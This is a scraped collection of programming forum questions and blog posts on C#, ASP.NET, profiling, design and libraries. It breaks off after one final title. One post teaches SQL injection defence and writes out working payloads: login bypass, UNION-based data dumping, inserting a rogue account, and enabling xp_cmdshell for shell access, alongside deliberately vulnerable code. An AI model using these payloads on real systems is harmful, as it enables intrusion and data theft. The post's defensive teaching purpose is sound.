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  • How to advertise (free) software?

    - by nebukadnezzar
    I'm not sure if this fits on SO, but other SE sites don't seem to fit either, so I understand when this question gets moved, Although I'd like to avoid getting it closed due to being offtopics, since I think that this question might fit, considering this part of the FAQ: Stack Overflow is for professional and enthusiast programmers, ... covers … a specific programming problem ... matters that are unique to the programming profession Sorry for the lengthy Introduction, though. When Software is advertised, it is usually Software for one (or more) specific purpose, such as: Mozilla Firefox - A Web Browser Ubuntu - An Operating System Python - A Programming Language Visual Studio - A Development Studio ... And so on. But when writing Libraries, that is, Software that doesn't necessarily serve one specific purpose, but instead multiple purposes, which are usually supposed to be used inside an application, such as: Irrlicht - A 3D Engine Qt - An Application Framework I'm a developer of the latter kind of Software, and I naturally want to advertise my Software. It's not commercial Software; It's not GPL either. It's completely free (Licensed under the MIT License :-)). I naturally host my stuff at github, which technically makes it very easy to access the software, and I thought that these might be possible options, although I have no experience with them: Submit the Software to Freshmeat, and hope for the best Submit the Software to Sourceforge, and hope someone accidently stumbles over it Write spammails, and get death threats via Mail ... But something tells me that these methods are probably not the best Methods. So, my final question would be, How does the Average Joe Hobby Programmer advertise his/her Software Library? Yes, I know this question is probably getting closed due to being Offtopic on SO. But maybe a move might be better instead.

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  • Formatting Dates, Times and Numbers in ASP.NET

    Formatting is the process of converting a variable from its native type into a string representation. Anytime you display a DateTime or numeric variables in an ASP.NET page, you are formatting that variable from its native type into some sort of string representation. How a DateTime or numeric variable is formatted depends on the culture settings and the format string. Because dates and numeric values are formatted differently across cultures, the .NET Framework bases its formatting on the specified culture settings. By default, the formatting routines use the culture settings defined on the web server, but you can indicate that a particular culture be used anytime you format. In addition to the culture settings, formatting is also affected by a format string, which spells out the formatting details to apply. The .NET Framework contains a bounty of format strings. There are standard format strings, which are typically a single letter that applies detailed formatting logic. For example, the "C" format specifier will format a numeric type as a currency value; the "Y" format specifier displays the month name and four-digit year of the specified DateTime value. There are also custom format strings, which display a apply a very specific formatting rule. These custom format strings can be put together to build more intricate formats. For instance, the format string "dddd, MMMM d" displays the full day of the week name followed by a comma followed by the full name of the month followed by the day of the month. For more involved formatting scenarios, where neither the standard or custom format strings cut the mustard, you can always create your own formatting extension methods. This article explores the standard format strings for dates, times and numbers and includes a number of custom formatting methods I've created and use in my own projects. There's also a demo application you can download that lets you specify a culture and then shows you the output for the standard format strings for the selected culture. Read on to learn more! Read More >

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  • Loose Coupling in Object Oriented Design

    - by m3th0dman
    I am trying to learn GRASP and I found this explained (here on page 3) about Low Coupling and I was very surprised when I found this: Consider the method addTrack for an Album class, two possible methods are: addTrack( Track t ) and addTrack( int no, String title, double duration ) Which method reduces coupling? The second one does, since the class using the Album class does not have to know a Track class. In general, parameters to methods should use base types (int, char ...) and classes from the java.* packages. I tend to diasgree with this; I believe addTrack(Track t) is better than addTrack(int no, String title, double duration) due to various reasons: It is always better for a method to as fewer parameters as possible (according to Uncle Bob's Clean Code none or one preferably, 2 in some cases and 3 in special cases; more than 3 needs refactoring - these are of course recommendations not holly rules). If addTrack is a method of an interface, and the requirements need that a Track should have more information (say year or genre) then the interface needs to be changed and so that the method should supports another parameter. Encapsulation is broke; if addTrack is in an interface, then it should not know the internals of the Track. It is actually more coupled in the second way, with many parameters. Suppose the no parameter needs to be changed from int to long because there are more than MAX_INT tracks (or for whatever reason); then both the Track and the method need to be changed while if the method would be addTrack(Track track) only the Track would be changed. All the 4 arguments are actually connected with each other, and some of them are consequences from others. Which approach is better?

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  • C# 4.0: Alternative To Optional Arguments

    - by Paulo Morgado
    Like I mentioned in my last post, exposing publicly methods with optional arguments is a bad practice (that’s why C# has resisted to having it, until now). You might argument that your method or constructor has to many variants and having ten or more overloads is a maintenance nightmare, and you’re right. But the solution has been there for ages: have an arguments class. The arguments class pattern is used in the .NET Framework is used by several classes, like XmlReader and XmlWriter that use such pattern in their Create methods, since version 2.0: XmlReaderSettings settings = new XmlReaderSettings(); settings.ValidationType = ValidationType.Auto; XmlReader.Create("file.xml", settings); With this pattern, you don’t have to maintain a long list of overloads and any default values for properties of XmlReaderSettings (or XmlWriterSettings for XmlWriter.Create) can be changed or new properties added in future implementations that won’t break existing compiled code. You might now argue that it’s too much code to write, but, with object initializers added in C# 3.0, the same code can be written like this: XmlReader.Create("file.xml", new XmlReaderSettings { ValidationType = ValidationType.Auto }); Looks almost like named and optional arguments, doesn’t it? And, who knows, in a future version of C#, it might even look like this: XmlReader.Create("file.xml", new { ValidationType = ValidationType.Auto });

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  • Performance Optimization &ndash; It Is Faster When You Can Measure It

    - by Alois Kraus
    Performance optimization in bigger systems is hard because the measured numbers can vary greatly depending on the measurement method of your choice. To measure execution timing of specific methods in your application you usually use Time Measurement Method Potential Pitfalls Stopwatch Most accurate method on recent processors. Internally it uses the RDTSC instruction. Since the counter is processor specific you can get greatly different values when your thread is scheduled to another core or the core goes into a power saving mode. But things do change luckily: Intel's Designer's vol3b, section 16.11.1 "16.11.1 Invariant TSC The time stamp counter in newer processors may support an enhancement, referred to as invariant TSC. Processor's support for invariant TSC is indicated by CPUID.80000007H:EDX[8]. The invariant TSC will run at a constant rate in all ACPI P-, C-. and T-states. This is the architectural behavior moving forward. On processors with invariant TSC support, the OS may use the TSC for wall clock timer services (instead of ACPI or HPET timers). TSC reads are much more efficient and do not incur the overhead associated with a ring transition or access to a platform resource." DateTime.Now Good but it has only a resolution of 16ms which can be not enough if you want more accuracy.   Reporting Method Potential Pitfalls Console.WriteLine Ok if not called too often. Debug.Print Are you really measuring performance with Debug Builds? Shame on you. Trace.WriteLine Better but you need to plug in some good output listener like a trace file. But be aware that the first time you call this method it will read your app.config and deserialize your system.diagnostics section which does also take time.   In general it is a good idea to use some tracing library which does measure the timing for you and you only need to decorate some methods with tracing so you can later verify if something has changed for the better or worse. In my previous article I did compare measuring performance with quantum mechanics. This analogy does work surprising well. When you measure a quantum system there is a lower limit how accurately you can measure something. The Heisenberg uncertainty relation does tell us that you cannot measure of a quantum system the impulse and location of a particle at the same time with infinite accuracy. For programmers the two variables are execution time and memory allocations. If you try to measure the timings of all methods in your application you will need to store them somewhere. The fastest storage space besides the CPU cache is the memory. But if your timing values do consume all available memory there is no memory left for the actual application to run. On the other hand if you try to record all memory allocations of your application you will also need to store the data somewhere. This will cost you memory and execution time. These constraints are always there and regardless how good the marketing of tool vendors for performance and memory profilers are: Any measurement will disturb the system in a non predictable way. Commercial tool vendors will tell you they do calculate this overhead and subtract it from the measured values to give you the most accurate values but in reality it is not entirely true. After falling into the trap to trust the profiler timings several times I have got into the habit to Measure with a profiler to get an idea where potential bottlenecks are. Measure again with tracing only the specific methods to check if this method is really worth optimizing. Optimize it Measure again. Be surprised that your optimization has made things worse. Think harder Implement something that really works. Measure again Finished! - Or look for the next bottleneck. Recently I have looked into issues with serialization performance. For serialization DataContractSerializer was used and I was not sure if XML is really the most optimal wire format. After looking around I have found protobuf-net which uses Googles Protocol Buffer format which is a compact binary serialization format. What is good for Google should be good for us. A small sample app to check out performance was a matter of minutes: using ProtoBuf; using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.Serialization; [DataContract, Serializable] class Data { [DataMember(Order=1)] public int IntValue { get; set; } [DataMember(Order = 2)] public string StringValue { get; set; } [DataMember(Order = 3)] public bool IsActivated { get; set; } [DataMember(Order = 4)] public BindingFlags Flags { get; set; } } class Program { static MemoryStream _Stream = new MemoryStream(); static MemoryStream Stream { get { _Stream.Position = 0; _Stream.SetLength(0); return _Stream; } } static void Main(string[] args) { DataContractSerializer ser = new DataContractSerializer(typeof(Data)); Data data = new Data { IntValue = 100, IsActivated = true, StringValue = "Hi this is a small string value to check if serialization does work as expected" }; var sw = Stopwatch.StartNew(); int Runs = 1000 * 1000; for (int i = 0; i < Runs; i++) { //ser.WriteObject(Stream, data); Serializer.Serialize<Data>(Stream, data); } sw.Stop(); Console.WriteLine("Did take {0:N0}ms for {1:N0} objects", sw.Elapsed.TotalMilliseconds, Runs); Console.ReadLine(); } } The results are indeed promising: Serializer Time in ms N objects protobuf-net   807 1000000 DataContract 4402 1000000 Nearly a factor 5 faster and a much more compact wire format. Lets use it! After switching over to protbuf-net the transfered wire data has dropped by a factor two (good) and the performance has worsened by nearly a factor two. How is that possible? We have measured it? Protobuf-net is much faster! As it turns out protobuf-net is faster but it has a cost: For the first time a type is de/serialized it does use some very smart code-gen which does not come for free. Lets try to measure this one by setting of our performance test app the Runs value not to one million but to 1. Serializer Time in ms N objects protobuf-net 85 1 DataContract 24 1 The code-gen overhead is significant and can take up to 200ms for more complex types. The break even point where the code-gen cost is amortized by its faster serialization performance is (assuming small objects) somewhere between 20.000-40.000 serialized objects. As it turned out my specific scenario involved about 100 types and 1000 serializations in total. That explains why the good old DataContractSerializer is not so easy to take out of business. The final approach I ended up was to reduce the number of types and to serialize primitive types via BinaryWriter directly which turned out to be a pretty good alternative. It sounded good until I measured again and found that my optimizations so far do not help much. After looking more deeper at the profiling data I did found that one of the 1000 calls did take 50% of the time. So how do I find out which call it was? Normal profilers do fail short at this discipline. A (totally undeserved) relatively unknown profiler is SpeedTrace which does unlike normal profilers create traces of your applications by instrumenting your IL code at runtime. This way you can look at the full call stack of the one slow serializer call to find out if this stack was something special. Unfortunately the call stack showed nothing special. But luckily I have my own tracing as well and I could see that the slow serializer call did happen during the serialization of a bool value. When you encounter after much analysis something unreasonable you cannot explain it then the chances are good that your thread was suspended by the garbage collector. If there is a problem with excessive GCs remains to be investigated but so far the serialization performance seems to be mostly ok.  When you do profile a complex system with many interconnected processes you can never be sure that the timings you just did measure are accurate at all. Some process might be hitting the disc slowing things down for all other processes for some seconds as well. There is a big difference between warm and cold startup. If you restart all processes you can basically forget the first run because of the OS disc cache, JIT and GCs make the measured timings very flexible. When you are in need of a random number generator you should measure cold startup times of a sufficiently complex system. After the first run you can try again getting different and much lower numbers. Now try again at least two times to get some feeling how stable the numbers are. Oh and try to do the same thing the next day. It might be that the bottleneck you found yesterday is gone today. Thanks to GC and other random stuff it can become pretty hard to find stuff worth optimizing if no big bottlenecks except bloatloads of code are left anymore. When I have found a spot worth optimizing I do make the code changes and do measure again to check if something has changed. If it has got slower and I am certain that my change should have made it faster I can blame the GC again. The thing is that if you optimize stuff and you allocate less objects the GC times will shift to some other location. If you are unlucky it will make your faster working code slower because you see now GCs at times where none were before. This is where the stuff does get really tricky. A safe escape hatch is to create a repro of the slow code in an isolated application so you can change things fast in a reliable manner. Then the normal profilers do also start working again. As Vance Morrison does point out it is much more complex to profile a system against the wall clock compared to optimize for CPU time. The reason is that for wall clock time analysis you need to understand how your system does work and which threads (if you have not one but perhaps 20) are causing a visible delay to the end user and which threads can wait a long time without affecting the user experience at all. Next time: Commercial profiler shootout.

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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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  • Object oriented design importance

    - by user5507
    I started studying Object Oriented Design and Modelling using the this book by James Rumbaugh. It uses a tool called Object Modeling Technique (OMT). I have certain newbie questions. I searched the net, but couldn't get answers The book is pretty old. Don't know why the school told me to learn this. I know OMT is a predecessor of the Unified Modeling Language (UML). So its a waste? Whether the concepts change very much when we move from OMT to UML? I know OMT has Object, Dynamic and Functional Model. Wikipedia says UML is compatible with OMT and UML is a model too. As per wikipedia the UML models are Static and Dynamic and they are represented by different diagrams like class, object, activity, sequence..... I couldn't find the equivalence of this in OMT. I read that there are many object oriented development methods like OMT, Booch,.... Which one is used by Industry ? Where could I get a comparison of different Object oriented development methods?

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  • Announcing Berkeley DB Java Edition Major Release

    - by Eric Jensen
    Berkeley DB Java Edition 5.0 was just released. There are a number of new features, enhancements, and options in there that our users have been asking for. Chief among them is a new class called DiskOrderedCursor, which greatly increases performance of systems using spinning platter magnetic hard drives. A number of users expressed interest in this feature, including Alex Feinberg of LinkedIn. Berkeley DB Java Edition is part of Project Voldemort, a distributed key/value database used by LinkedIn. There have been many other improvements and optimizations. Concurrency is significantly improved, as is the performance of update and delete operations. New and interesting methods include Environment.preload, which allows multiple databases to be preloaded simultaneously. New Cursor methods enable for more effective searching through the database. We continue to enhance Berkeley DB Java Edition’s High Availability as well. One new feature is the ability to open a replicated node read-only when the master is unavailable. This can allow critical systems to continue offering some functionality, even during a network or master node failure. There’s a lot more in release 5.0. I encourage you to take a look at the extensive changelog yourself. As always, you can download the new release and try it out here: http://www.oracle.com/technetwork/database/berkeleydb/downloads/index.html

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  • What language should I use for making a cross platform library?

    - by Andrei
    I want to build a SyncML parsing library (no UI) which should be able to build up messages based on information provided by the host application, fed in by the library's methods. Also, the library should to be able to do callbacks to methods in the host application. I want to be able to compile this and have it available on as many platforms as possible: Windows, Windows Phone 7 OS, OSX, iOS, Linux, Android, BlackBerry. Basically as many platforms as possible. The priority is to have this available on mobile devices. Questions: What setup should I use? (programming languages, compilers, IDE etc.) How would I compile this library for these different platforms and how would I connect to it? Any other info? e.g. articles that cover the subject of cross-platform development? I haven't done this sort of a cross-platform project before, so any available information to put me in the right direction would be welcomed. Myself, I have a background in C#/.NET and Objective-C.

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  • Upcoming Webcast: Use Visual Decision Making To Boost the Pace of Product Innovation – October 24, 2013

    - by Gerald Fauteux
    See More, Do More Use Visual Decision Making To Boost the Pace of Product Innovation   Join a Free Webcast hosted by Oracle, featuring QUALCOMM Click here to register for this webcast   Keeping innovation ahead of shrinking product lifecycles continues to be a challenge in today’s fast-paced business environment, but new visualization techniques in the product design and development process are helping businesses widen the gap further.  Innovative visualization methods, including Augmented Business Visualization, can be powerful differentiators for business leaders, especially when it comes to accelerating product cycles.   Don’t miss this opportunity to discover how visualization tied to PLM can help empower visual decision making and enhance productivity across your organization.  See more and do more with the power of Oracle. Join solution experts from Oracle and special guest, Ravi Sankaran, Sr. Staff Systems Analyst, QUALCOMM to discuss how visual decision making can help efficiently ramp innovation efforts throughout the product lifecycle: Advance collaboration with universal access across all document types with robust security measures in place Synthesize product information quickly like cost, quality, compliance, etc. in a highly visual form from multiple sources in a single visual and actionable environment Increase productivity by rendering documents in the appropriate context of specific business processes Drive modern business transformation with new collaboration methods such as Augmented Business Visualization . Date: Thursday, October 24, 2013 Time: 10:00 a.m. PDT / 1:00 p.m. EDT Click here to register for this FREE event

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  • How should data be passed between client-side Javascript and C# code behind an ASP.NET app?

    - by ctck
    I'm looking for the most efficient / standard way of passing data between client-side Javascript code and C# code behind an ASP.NET application. I've been using the following methods to achieve this but they all feel a bit of a fudge. To pass data from Javascript to the C# code is by setting hidden ASP variables and triggering a postback: <asp:HiddenField ID="RandomList" runat="server" /> function SetDataField(data) { document.getElementById('<%=RandomList.ClientID%>').value = data; } Then in the C# code I collect the list: protected void GetData(object sender, EventArgs e) { var _list = RandomList.value; } Going back the other way I often use either ScriptManager to register a function and pass it data during Page_Load: ScriptManager.RegisterStartupScript(this.GetType(), "Set","get("Test();",true); or I add attributes to controls before a post back or during the initialization or pre-rendering stages: Btn.Attributes.Add("onclick", "DisplayMessage("Hello");"); These methods have served me well and do the job, but they just dont feel complete. Is there a more standard way of passing data between client side Javascript and C# backend code? Ive seen some posts like this one that describe HtmlElement class; is this something I should look into?

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  • How to learn & introduce scrum in small startup?

    - by Jens Bannmann
    In a few months, a friend will establish his startup software company, and I will be the software architect with one additional developer. Though we have no real day-to-day experience with agile methods, I have read much "overview" type of material on them, and I firmly believe they are a good - if not the only - way to build software. So with this company, I want to go for iterative, agile development from day 1, preferably something light-weight. I was thinking of Scrum, but the question is: what is the best way for me and my colleagues to learn about it, to introduce it (which techniques when etc) and to evaluate whether we should keep it? Background which might be relevant: we're all experienced developers around the same age with similar professional mindset. We have worked together in the past and afterwards at several different companies, mostly with a Java/.NET focus. Some are a bit familiar with general ideas from the agile movement. In this startup, I have great power over tools, methods and process. The startup's product will be developed from scratch and could be classified as middleware. We have some "customer" contacts in the industry who could provide input as soon as we get to an alpha stage.

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  • Extreme Optimization – Curves (Function Mapping) Part 1

    - by JoshReuben
    Overview ·        a curve is a functional map relationship between two factors (i.e. a function - However, the word function is a reserved word). ·        You can use the EO API to create common types of functions, find zeroes and calculate derivatives - currently supports constants, lines, quadratic curves, polynomials and Chebyshev approximations. ·        A function basis is a set of functions that can be combined to form a particular class of functions.   The Curve class ·        the abstract base class from which all other curve classes are derived – it provides the following methods: ·        ValueAt(Double) - evaluates the curve at a specific point. ·        SlopeAt(Double) - evaluates the derivative ·        Integral(Double, Double) - evaluates the definite integral over a specified interval. ·        TangentAt(Double) - returns a Line curve that is the tangent to the curve at a specific point. ·        FindRoots() - attempts to find all the roots or zeroes of the curve. ·        A particular type of curve is defined by a Parameters property, of type ParameterCollection   The GeneralCurve class ·        defines a curve whose value and, optionally, derivative and integrals, are calculated using arbitrary methods. A general curve has no parameters. ·        Constructor params:  RealFunction delegates – 1 for the function, and optionally another 2 for the derivative and integral ·        If no derivative  or integral function is supplied, they are calculated via the NumericalDifferentiation  and AdaptiveIntegrator classes in the Extreme.Mathematics.Calculus namespace. // the function is 1/(1+x^2) private double f(double x) {     return 1 / (1 + x*x); }   // Its derivative is -2x/(1+x^2)^2 private double df(double x) {     double y = 1 + x*x;     return -2*x* / (y*y); }   // The integral of f is Arctan(x), which is available from the Math class. var c1 = new GeneralCurve (new RealFunction(f), new RealFunction(df), new RealFunction(System.Math.Atan)); // Find the tangent to this curve at x=1 (the Line class is derived from Curve) Line l1 = c1.TangentAt(1);

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  • LINQ: Single vs. SingleOrDefault

    - by Paulo Morgado
    Like all other LINQ API methods that extract a scalar value from a sequence, Single has a companion SingleOrDefault. The documentation of SingleOrDefault states that it returns a single, specific element of a sequence of values, or a default value if no such element is found, although, in my opinion, it should state that it returns a single, specific element of a sequence of values, or a default value if no such element is found. Nevertheless, what this method does is return the default value of the source type if the sequence is empty or, like Single, throws an exception if the sequence has more than one element. I received several comments to my last post saying that SingleOrDefault could be used to avoid an exception. Well, it only “solves” half of the “problem”. If the sequence has more than one element, an exception will be thrown anyway. In the end, it all comes down to semantics and intent. If it is expected that the sequence may have none or one element, than SingleOrDefault should be used. If it’s not expect that the sequence is empty and the sequence is empty, than it’s an exceptional situation and an exception should be thrown right there. And, in that case, why not use Single instead? In my opinion, when a failure occurs, it’s best to fail fast and early than slow and late. Other methods in the LINQ API that use the same companion pattern are: ElementAt/ElementAtOrDefault, First/FirstOrDefault and Last/LastOrDefault.

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  • Gesture Detector not firing

    - by Tyler
    So I'm trying to create a input class that implements a InputHandler & GestureListener in order to support both Android & Desktop. The problem is that not all the methods are being called properly. Here is the input class definition & a couple of the methods: public class InputHandler implements GestureListener, InputProcessor{ ... public InputHandler(OrthographicCamera camera, Map m, Player play, Vector2 maxPos) { ... @Override public boolean zoom(float originalDistance, float currentDistance) { //this.zoom = true; this.zoomRatio = originalDistance / currentDistance; cam.zoom = cam.zoom * zoomRatio; Gdx.app.log("GestureDetector", "Zoom - ratio: " + zoomRatio); return true; } @Override public boolean touchDown(int x, int y, int pointerNum, int button) { booleanConditions[TOUCH_EVENT] = true; this.inputButton = button; this.inputFingerNum = pointerNum; this.lastTouchEventLoc.set(x,y); this.currentCursorPos.set(x,y); if(pointerNum == 1) { //this.fingerOne = true; this.fOnePosition.set(x, y); } else if(pointerNum == 2) { //this.fingerTwo = true; this.fTwoPosition.set(x,y); } Gdx.app.log("GestureDetector", "touch down at " + x + ", " + y + ", pointer: " + pointerNum); return true; } The touchDown event always occurs but I can never trigger Zoom (or pan among others...). The following is where I register and create the input handler in the "Game Screen". public class GameScreen implements Screen { ... this.inputHandler = new InputHandler(this.cam, this.map, this.player, this.map.maxCamPos); Gdx.input.setInputProcessor(this.inputHandler); Anyone have any ideas why zoom, pan, etc... are not triggering? Thanks!

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  • What's the term for re-implementing an old API in terms of a newer API

    - by dodgy_coder
